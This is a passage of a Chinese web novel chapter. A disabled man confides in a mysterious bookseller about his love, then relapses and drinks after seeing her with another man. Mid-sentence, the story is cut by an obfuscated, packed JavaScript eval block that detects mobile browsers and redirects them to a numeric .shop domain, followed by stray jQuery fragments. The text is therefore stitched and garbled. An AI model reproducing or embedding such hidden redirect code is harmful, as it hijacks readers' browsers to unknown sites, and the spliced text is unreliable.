“我不想，她像热爱生灵草木，热爱亲朋好友那样热爱我。我渴盼，她在看到可爱的小动物时，在看到美丽的风景时，第一时间想起我，分享给我。我希望，她能笃定地把我介绍给她的家人亲友，并说她很爱我，最爱我，我不同于任何人。”
“我希望，她因我而悸动，为我而感到心动。”
“或许，经济学上的‘供给与需求’之间的矛盾，放在感情里同样适用。我就是那资本家，贪婪，索取无度，得不到，于是恼羞成怒。”
“我很自私。我起初，分明暗下决心，我只捆她在身边两年。两年足矣，足够我享受她的好，也足够她卸掉对我的愧疚。”
“我却挟制了她四年。”
眼中光影暗灭，商渺忏悔：“我贪得无厌。”
书生顿笔，笔尖悬在纸上，洇开一小点墨：“商先生，你可否认为，她的给予全然出自于亏欠？”
轮椅上，温文儒雅的男人，面露孩童般的迷茫。
良久，商渺快速眨眼，逼退眼眶的酸涩：“我猜，并非‘全然’，但……”
情谊有，欣赏有，喜欢也有。
但一定“亏欠”占主导。
若他误猜，她为何留得坚决，又去如云散？她也掐着日子，到期，觉得债务已清了吧……
烛火摇摇，照亮商渺眉间丘壑，眉峰虽未蹙，却似远山蒙了雾。
他仍端坐身直，看着，肩膀却又瘦了些。
“世间情债，以亏欠始，以偿还终。”书生停笔抬眸，意味深长道，“却不知真心原非借据，岁月也非账本。世间长久的相伴，生于情愿，而非情债。”
话毕，书生笔搁砚池：“商先生，您的故事小生已收到。小店礼尚往来，定有谢礼。”
商渺沉溺在那份伤怀中，抬腕落腕，指骨敲了敲书籍的硬壳封面，以为谢礼，就是这书：“不必客气，你我也算有缘分。我还得感谢你，我很需要这本书。抱歉，我忘了问，请问怎么称呼？”
“鄙姓书。”书生露出范式的笑，“书老板。”
“书老板，谢谢你送我的书，也谢谢你，乐意听我聊感情之事。”商渺身边没有适合聊这些的朋友，话说不对，便显得他太悲情，外加身障残疾，听者简直要落泪，他不想害人难过。
今日畅谈，也算一番情绪倾泻。
话毕，商渺礼貌道别，驱动轮椅驶向门口。
书老板出声：“留步。”
商渺掉转轮椅，回身。
书老板仍在桌案前，指尖轻触笔杆，将笔从砚沿缓缓提起，笔锋饱蘸浓墨。
写着属于商渺故事的那页摊开着，仿佛未完待续。
“若时光倒流，商先生，您最愿回到何时？”书老板空的另一只手，两指揩握青花瓷杯，浅饮一口。
杯中茶叶顺时针转。
书生揣测：“您车祸之前？抑或更早？”
商渺只当闲聊，他拢了拢膝上的书，转头厚的一本，他却感知不到星点重量，双腿随年岁流逝而萎缩严重，皮肉几乎分离，膝盖也不似常人，大得刺眼，一双脚进门前摆得端，怎就什么都没做，就一只脚内八字，一只脚脚踝打折了？
虽然麻烦，虽然畸形。
但他不厌恶这副身体。
他大脑灵活，思维睿智。
也认命，既来之则安之。
“如果回到车祸之前，我还会开车去接鹤蓉，义无返顾地去。我相信人命有定数，我避开了那辆货车，也许，灾祸又在下一个路口等我。”
“我幸运地顺利到达清吧，接上了她和她的朋友，万一回程，更大的灾难在蛰伏？她也在车上……”思及此，商渺的唇一刹便白了，“那……太恐怖了。”
这是他能想到的，最可怕的事。
怕到甚至不敢多想。
他闭目摇头，抛掉不吉利的念头，不敢沾染半分，瞥到店内的牌匾：【时有术者，溯流时光之河。然往事如简，命有定数，可观，难易。
小本买卖，一经出售，概不退换。】
“书老板，我和你一样，觉得该发生的，终将发生。”商渺道，“改变，需要付出代价，也太困难了，我不敢赌。”
“如若还要我再经历一遍车祸，那太痛了，我死过一回，死不起第二回了。何况，我又该怎么去确认，车祸不降于我，又会不会降在我爱的人的头上？我宁愿牺牲我的生命，也务必要她安好。”
“另择时日？”书老板问。
“那就……”商渺出声便敛首笑了。
三十岁的人了，竟孩子气地畅想不切实际的。
住院三月，他不抱怨，但扪心，他整个人都锈了，借此机会，他头靠上头枕，双目转动，索性幼稚一回，他驰思：“回到三个月前吧。”
“就回到，我在医院遇上她的那天。我好好吃完她煮的山药小米粥，别敏感，别任性，别闹情绪，看着她收拾东西，能搭把手的搭把手，哪怕只是递胶带，最后，送她坐上车，好好跟她道声别。”
“仅此而已？”书老板微微歪头，眼明如镜。
商渺收回视线，投向书老板，噙着只幻想便心满意足的笑：“仅此而已。”
“贪心之人，会索求爱人的心。”
“可以吗？”商渺玩笑口气，全没放在心上，只当和一位古怪的青年胡乱聊了聊。
书老板挑眉：“我的能力不止如此。”
商渺笑着摇摇头，嘴唇动了动，像有话要问，却又抿住了。
“但说无妨。”书老板鼓励道。
“没什么。”商渺问起，“书老板，你是作家吗？你在搜集灵感素材？”
“我以售书为业，立身清白。君之旧事，付我耳中，如投书于井，绝不外泄，沉渊而藏。”
书老板纤长食指比在唇珠之上。
嘘——
神叨叨的人，倒也有趣，商渺推动轮椅手柄：“我妈等我很久了，我该走了。书老板，再次感谢你的厚礼。”
“商先生，成交。”
檀木门关上，蓝风铃的铃舌还在叮铃摇晃。
书老板静视商渺开着轮椅路过窗前，直至消失不见，他伏案桌前，提笔，在故事下方写……
杯中，那一叶状的茶，逆时针转动。
*
路口处，商母和护工显得焦头烂额，逮着一个路过的行人就打听。
商渺困惑皱眉，消息他确定发出去了，还收到了母亲的回复：【你就在那店里，别乱跑，妈妈很快就过去。】
“妈。”商渺扬声唤，轮椅提速上前。
商母几乎扑上来，急得满头大汗：“阿渺你这孩子！你跑哪去了啊！吓死我了！”
“那边的那个书店……”商渺用瘫手指向书店方向。
一看，他瞳孔霎时圆扩，手不可置信地颤抖起来，他闭眼睁眼，反复几次，疑似自己眼花。
青砖泥瓦，实心的一面墙。
那书店，仿佛不曾存在过。
*
翌日，商渺在火烧火燎的撕裂痛中醒来。
右臂的骨裂明明已痊愈，却筋膜肌肉又开始叫嚣，那种劳损的痛感回潮，商渺呻.吟，右臂搭在胯上，因他痛得乱动，右手滑落，砸在床上。
“啊……呃……”
牵一发而动全身。
那三个月的休整好似一场空，一夜间，他身子又破败虚弱起来。
他许久没在晨醒时痉挛，而此时，右臂的抽动弥漫至全身，左臂佝偻胸前，不知轻重地捶打胸膛，本就呼吸受阻，拳头急急密密地捶来，他愈是吸半口，漏一口，肺部的氧气暴跌零点。
“嗬嗬……嗬嗬……”
极压抑的闷哼从喉咙底漏出来。
口越张越大，声带破风箱一样，脖子向后，扭成诡异的角度，细白颈子脆弱得像一折就断的线。
瘫.足拍打床面，久不踩地，他皮肤敏感细嫩，脚蹭来蹭去蹭红了脚后跟。
两个护工合力才将他按住，平息了这场暴风雨疯狂般的痉.挛。
商渺脸迅速褪得惨白，唇瓣失血泛青，默默忍耐磨人的疼痛，半晕半醒。
护工检查尿.袋，回流了，透明塑管里充盈着一截刺目鲜血，于心不忍地哀叹：“商先生，今天体检，医生恐怕得给您卸尿.管，上消炎药了。”
体检？
他才刚出院啊。
商渺不无苦涩地笑了笑。
也对，这残躯看来离不了医院了。
*
浑浑噩噩地配合检查，待商渺醒神，导.尿.管已不知去向，他垂眸枯凝臃.肿的腹部。
他穿上纸.尿.裤了。
尿.道划伤，不宜滞留尿.管，在炎症消下去之前，他只能依靠这婴儿用品。
上回检查，除了分泌沉淀物，他尿.路系统算健康，这回，他被送入门诊手术室进行了消炎处理。
主治医生伴了他多年，正在苦口婆心地叮嘱他那些老生常谈，多喝水，多休息，他遵医嘱照做了，可这破身子由不得他。
商渺无神的眼飞向楼下。
楼下停车场，只见鹤蓉从一辆车的副驾驶出来，驾驶位门开，长手长脚的健硕男人豪爽迈出。
——方怀。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357676|199693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们又一起回国了。
她又陪他来探病他爷爷。
一回念情分，二回呢？有二回便有三回四回数回，像回形针将他们紧密串联。
三个月过去了，他们或许已心意相通。
他算什么？
他连吃醋的资格都没有。
商渺从没觉得身体如此沉，坠入无尽深海，压强挤压他分崩离析，五脏六腑无声地溶水了。
“商先生，你的脸色越来越差了。”医生痛心地嘱咐，“回家喝温水，喝够水，千万切忌冷食酒水。”
*
商渺头一回当不像话的病人。
他取消了康复中心检查肩膀的预约，强烈要求医生给他打了封闭针，饮鸩止渴式的止疼，怕这凄惨病容，被鹤蓉和方怀瞧见了，他飞速逃离医院。
回到家，他借口有重要客户来访，商谈内容不可外泄，支走了护工。
会客厅有开放式酒柜，他不贪酒，酒水多用来收藏，偶尔打开，陪人喝一点低度数的红酒。
商渺用两手的掌根，紧紧夹住酒柜底层一瓶已开封的伏特加，连拖带拽拉到腿上，夹着酒瓶，竖起来，牙齿咬掉酒瓶盖。
仰头举瓶，猛灌海塞。
直到手臂累得发抖，架不住酒瓶了，双臂脱力掉在腿上，瓶子骨碌碌滚落在地。
“咔嚓——”
清脆碎裂音，浓烈酒气拔地而起。
陈管家耳闻屋内动静异常，推门进来，看见醉得半死的商渺。
*
他精神错乱了吧？
才会昨日，臆想出了不存在的书店，不知偷还是抢的搞来了一本书，以及今日，此时此刻，他醉眼惺忪，台灯的暖光在眼前晕开。
鹤蓉在光中。
娟秀细眉深深皱着，一扫清冷淡容，两颊微鼓，忧心而又气呼呼。
她的姿容太真实。
真实得让他痴妄，她好像伸手便能触到。
商渺是胆小鬼。
他不敢碰她，梦不醒来便不是梦啊。
“你疯了。”
鹤蓉连愠怒也音色温婉，入耳娓娓动听。
三个月没听过她的声音，被骂了，商渺却笑，酒躁浮红，他面上添了血气，挪动头，依恋地渴望离鹤蓉更近些：“鹤蓉，我疯了。”
都幻视幻听了，他疯得够可以。
“为什么灌醉自己？”
一改随和常态，鹤蓉这句近乎逼问。
“我看到你和方怀在一起，你陪他去探病。”
酒意催人坦诚，他嘟囔着满是酒气的话，翻来覆去傻气地说：“我看到了，我全部看到了，看到你和他，我都看到了……”
鹤蓉潋滟的眸子闪过讶然。
惊讶商渺为何认识方怀，同时，也惊讶商渺这孩子气的醉态。
他从没这样醉过，惹得她破气为笑。
“怎么还耍酒疯呢？”她席地而坐，下巴支在臂上，凝眸柔柔地望他。
“我没有酒，只有疯。”
商渺口齿不清地碎碎念，他疯了。
“因为看见我和方怀走在一起，所以，商渺哥，你把酒当水喝？”
他停下喃喃醉语，咬住下唇，脸埋进枕头，哼了声：“嗯。”
“方怀他是我的朋友，他爷爷得了帕金森，不幸摔倒住院了。他想请护工照顾他爷爷，但不清楚门道。”鹤蓉一五一十道，“我很久没回来了，就和方怀一起回国了。方怀在国外很照顾我，我不想欠他的，就想着给他介绍护工，我有这方面的经验。”
“我知道。”商渺闷声，“方怀说了。”
“方怀说了？”鹤蓉满腔疑惑，“商渺哥，你和方怀认识吗？我之前怎么没听说过。”
“认识。”商渺似在梦呓，“我还知道，他喜欢你。他很好，人很老实坦率，但不行，他好粗心，他都不知道你芒果过敏。”
像小孩在胡说梦话，鹤蓉掩着唇偷笑，配合他闹：“那商渺哥，你还知道什么？”
“我还知道……”他眼皮迟钝地闭合，“你陪他来一次就有第二次，第三次，很多次。他很好，你更好，你们会在一起……”
“没有第二次了。”鹤蓉说，“我已经介绍护工给方怀和他爷爷认识了，我不需要再出面了。我和他是普通朋友也不会在一起。”
“你骗我。”
眼波微澜，男人看起来易碎易破，坠重的眼皮半敛着，遮不住瞳色落寞：“分明，第二次了。”
三个月前一次，这又一次。
“你说，你们不会在一起。”他沉声探询，“是不是，也是骗我的呢？”